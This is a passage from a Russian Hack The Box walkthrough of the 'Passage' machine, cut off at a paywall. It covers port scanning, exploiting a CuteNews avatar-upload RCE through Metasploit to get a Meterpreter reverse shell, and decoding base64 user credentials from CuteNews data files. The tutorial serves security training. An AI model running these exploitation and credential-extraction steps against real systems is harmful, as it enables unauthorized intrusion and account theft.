• Партнер

  • В этой статье мы прой­дем машину Passage с популяр­ного сер­виса Hack The Box и про­экс­плу­ати­руем уяз­вимость в CMS CuteNews. Заод­но научим­ся добав­лять экс­пло­иты в базу Metasploit Framework, пот­рениру­емся в поис­ке важ­ных для раз­вития ата­ки фай­лов и узна­ем, что такое D-Bus и как повысить при­виле­гии с помощью USBCreator.

    Под­клю­чать­ся к лабора­тор­ной машине будем через VPN. Рекомен­дую не под­клю­чать­ся с рабоче­го компь­юте­ра или с хос­та, где есть важ­ные для тебя дан­ные, так как ты попадешь в одну час­тную сеть с людь­ми, которые что‑то да уме­ют в области ИБ. 🙂

    warning

    Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни редак­ция, ни автор не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный в резуль­тате исполь­зования зна­ний и методов, опи­сан­ных в статье.

     

    Разведка

     

    Сканирование портов

    Ма­шина име­ет IP-адрес 10.10.10.206, который я добав­ляю в /etc/hosts, что­бы мож­но было обра­щать­ся к хос­ту по име­ни.

    10.10.10.206 passage.htb

    Лю­бая ата­ка начина­ется со ска­ниро­вания откры­тых на хос­те пор­тов. Это необ­ходимо для того, что­бы ата­кующий узнал, какие служ­бы при­нима­ют соеди­нение. Исхо­дя из получен­ной информа­ции, мож­но выбирать путь для получе­ния точ­ки вхо­да и опо­ры. Я это делаю с помощью сле­дующе­го скрип­та, который исполь­зует ути­литу Nmap и при­нима­ет один аргу­мент — адрес ска­ниру­емо­го хос­та.

    Сна­чала скрипт исполь­зует Nmap, что­бы сде­лать обыч­ное быс­трое саниро­вание. Затем он пар­сит все пор­ты из вывода и пов­торя­ет ска­ниро­вание толь­ко обна­ружен­ных пор­тов с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

    #!/bin/bash
    ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
    nmap -p$ports -A $1
    Результат работы скрипта
    Ре­зуль­тат работы скрип­та

    Мы име­ем две служ­бы — SSH (порт 22) и веб‑сер­вер Apache (порт 80). На SSH нам ловить нечего, так как единс­твен­ное, что там мож­но делать, — это брут­форсить учет­ные дан­ные. Брут­форс — пос­леднее дело. Поэто­му нам оста­ется искать точ­ку вхо­да на сай­те. Перей­дя на сайт, лег­ко опре­деля­ем сис­тему управле­ния кон­тентом — CMS CuteNews.

    Powered by CuteNews
    Powered by CuteNews
     

    Точка входа

    Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной CMS уже готовые экс­пло­иты. Луч­ший спо­соб это уста­новить — поис­кать на сай­тах вро­де HackerOne, exploit-db, а так­же GitHub. Но если ты исполь­зуешь спе­циаль­ный дис­три­бутив вро­де Kali Linux, то база экс­пло­итов Exploit-DB уже у тебя на дис­ке. Для удоб­ной работы с дан­ной базой мож­но исполь­зовать ути­литу searchsploit, так­же пре­дус­танов­ленную в дис­три­бути­ве. Имен­но с помощью ее мы и находим ряд экс­пло­итов.

    searchsploit cutenews
    Эксплоиты, найденные searchsploit
    Экс­пло­иты, най­ден­ные searchsploit

    Так как мы не зна­ем вер­сию CMS на ата­куемом хос­те, то сле­дует выб­рать экс­пло­ит для более поз­дней (2.1.2). Луч­ше все­го для нас, если отра­бота­ет тот, который даст выпол­нение кода — RCE. Помет­ка Metasploit озна­чает, что этот экс­пло­ит уже выпущен для Metasploit Framework.

    Суть экс­плу­ати­руемой уяз­вимос­ти в том, что при изме­нении ава­тар­ки про­филя мы можем заг­рузить не толь­ко изоб­ражение, но и файл с рас­ширени­ем .php. К фай­лу затем мож­но обра­тить­ся, и это при­ведет к выпол­нению на сер­вере кода, содер­жащего­ся в метадан­ных фай­ла‑изоб­ражения.

     

    Закрепление

    Так как в пос­тавку Metasploit Framework этот экс­пло­ит не вхо­дит, его нуж­но добавить в базу. Для начала получим пол­ный путь к фай­лу экс­пло­ита (опция -p поз­волит сох­ранить пол­ный путь к фай­лу сра­зу в буфер обме­на), а затем копиру­ем в дирек­торию с экс­пло­ита­ми.

    Добавление файла эксплоита в Metasploit Framework
    До­бав­ление фай­ла экс­пло­ита в Metasploit Framework

    Ав­торы допус­тили ошиб­ку: не хва­тает запятой. Откро­ем файл экс­пло­ита и добавим ее, как ука­зано на скрин­шоте ниже.

    Исправление ошибки в исходном коде эксплоита
    Ис­прав­ление ошиб­ки в исходном коде экс­пло­ита

    В register_options содер­жатся парамет­ры, с которы­ми запус­кает­ся экс­пло­ит. К при­меру, в дан­ном слу­чае нам нуж­но знать путь к базовой дирек­тории CMS, а так­же учет­ные дан­ные поль­зовате­ля.

    Параметры эксплоита
    Па­рамет­ры экс­пло­ита

    В качес­тве зна­чения парамет­ра TARGETURI по умол­чанию исполь­зует­ся /CuteNews. Перей­дя к этой стра­нице на сай­те, получим фор­му авто­риза­ции. Нам нуж­но зарегис­три­ровать нового поль­зовате­ля, имен­но его учет­ные дан­ные мы и будем исполь­зовать при запус­ке экс­пло­ита.

    Форма авторизации CuteNews
    Фор­ма авто­риза­ции CuteNews

    Те­перь, ког­да мы испра­вили ошиб­ки в экс­пло­ите и получи­ли все необ­ходимые дан­ные для его работы, коман­дой reload_all обно­вим базу Metasploit Framework, что­бы заг­рузить толь­ко что добав­ленный экс­пло­ит.

    Обновление базы Metasploit Framework
    Об­новле­ние базы Metasploit Framework

    Пос­ле успешно­го обновле­ния базы заг­ружа­ем наш экс­пло­ит, зада­ем зна­чения парамет­ров и выпол­няем.

    use exploit/46698
    set username [имя зарегистрированного пользователя]
    set password [пароль зарегистрированного пользователя]
    set LHOST [наш IP-адрес]
    set LPORT [локальный порт для прослушивания]
    set RHOSTS [адрес цели]
    run
    Подключение к хосту с помощью эксплоита в среде Metasploit Framework
    Под­клю­чение к хос­ту с помощью экс­пло­ита в сре­де Metasploit Framework

    В отче­те наб­люда­ем успешные под­клю­чение, авто­риза­цию, заг­рузку фай­ла на сер­вер и запуск наг­рузки, что в ито­ге при­водит нас к шел­лу Meterpreter. Коман­дой getuid про­веря­ем, в кон­тек­сте какого поль­зовате­ля мы работа­ем. В дан­ном слу­чае у нас кон­текст учет­ной записи служ­бы веб‑сер­вера: поль­зователь www-data.

     

    Продвижение

     

    Credential Access

    Так как на хос­те раз­вернут веб‑сер­вер, а на нем работа­ет целая CMS, то пер­вое наше дей­ствие — поп­робовать получить какие‑нибудь поль­зователь­ские учет­ные дан­ные. Высока веро­ятность, что эти учет­ки подой­дут и для локаль­ных поль­зовате­лей тоже. В слу­чае с CuteNews нас инте­ресу­ет дирек­тория /cdata/users.

    Содержимое директории /cdata
    Со­дер­жимое дирек­тории /cdata

    Здесь дол­жны находить­ся фай­лы users.txt и lines. Как раз вто­рой пред­став­ляет для нас инте­рес.

    Содержимое директории /cdata/users
    Со­дер­жимое дирек­тории /cdata/users
    Содержимое файла lines
    Со­дер­жимое фай­ла lines

    Текст закоди­рован с помощью Base64. Нем­ного пре­обра­зуем файл: исклю­чим из него все стро­ки, которые содер­жат подс­тро­ку php (это поз­волит оста­вить толь­ко закоди­рован­ные стро­ки), и лег­ко декоди­руем оставши­еся пря­мо в коман­дной стро­ке.

    cat lines | grep -v php | base64 -d
    Декодирование строк из файла lines
    Де­коди­рова­ние строк из фай­ла lines

    Продолжение доступно только участникам

    Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

    Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

    Вариант 2. Открой один материал

    Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии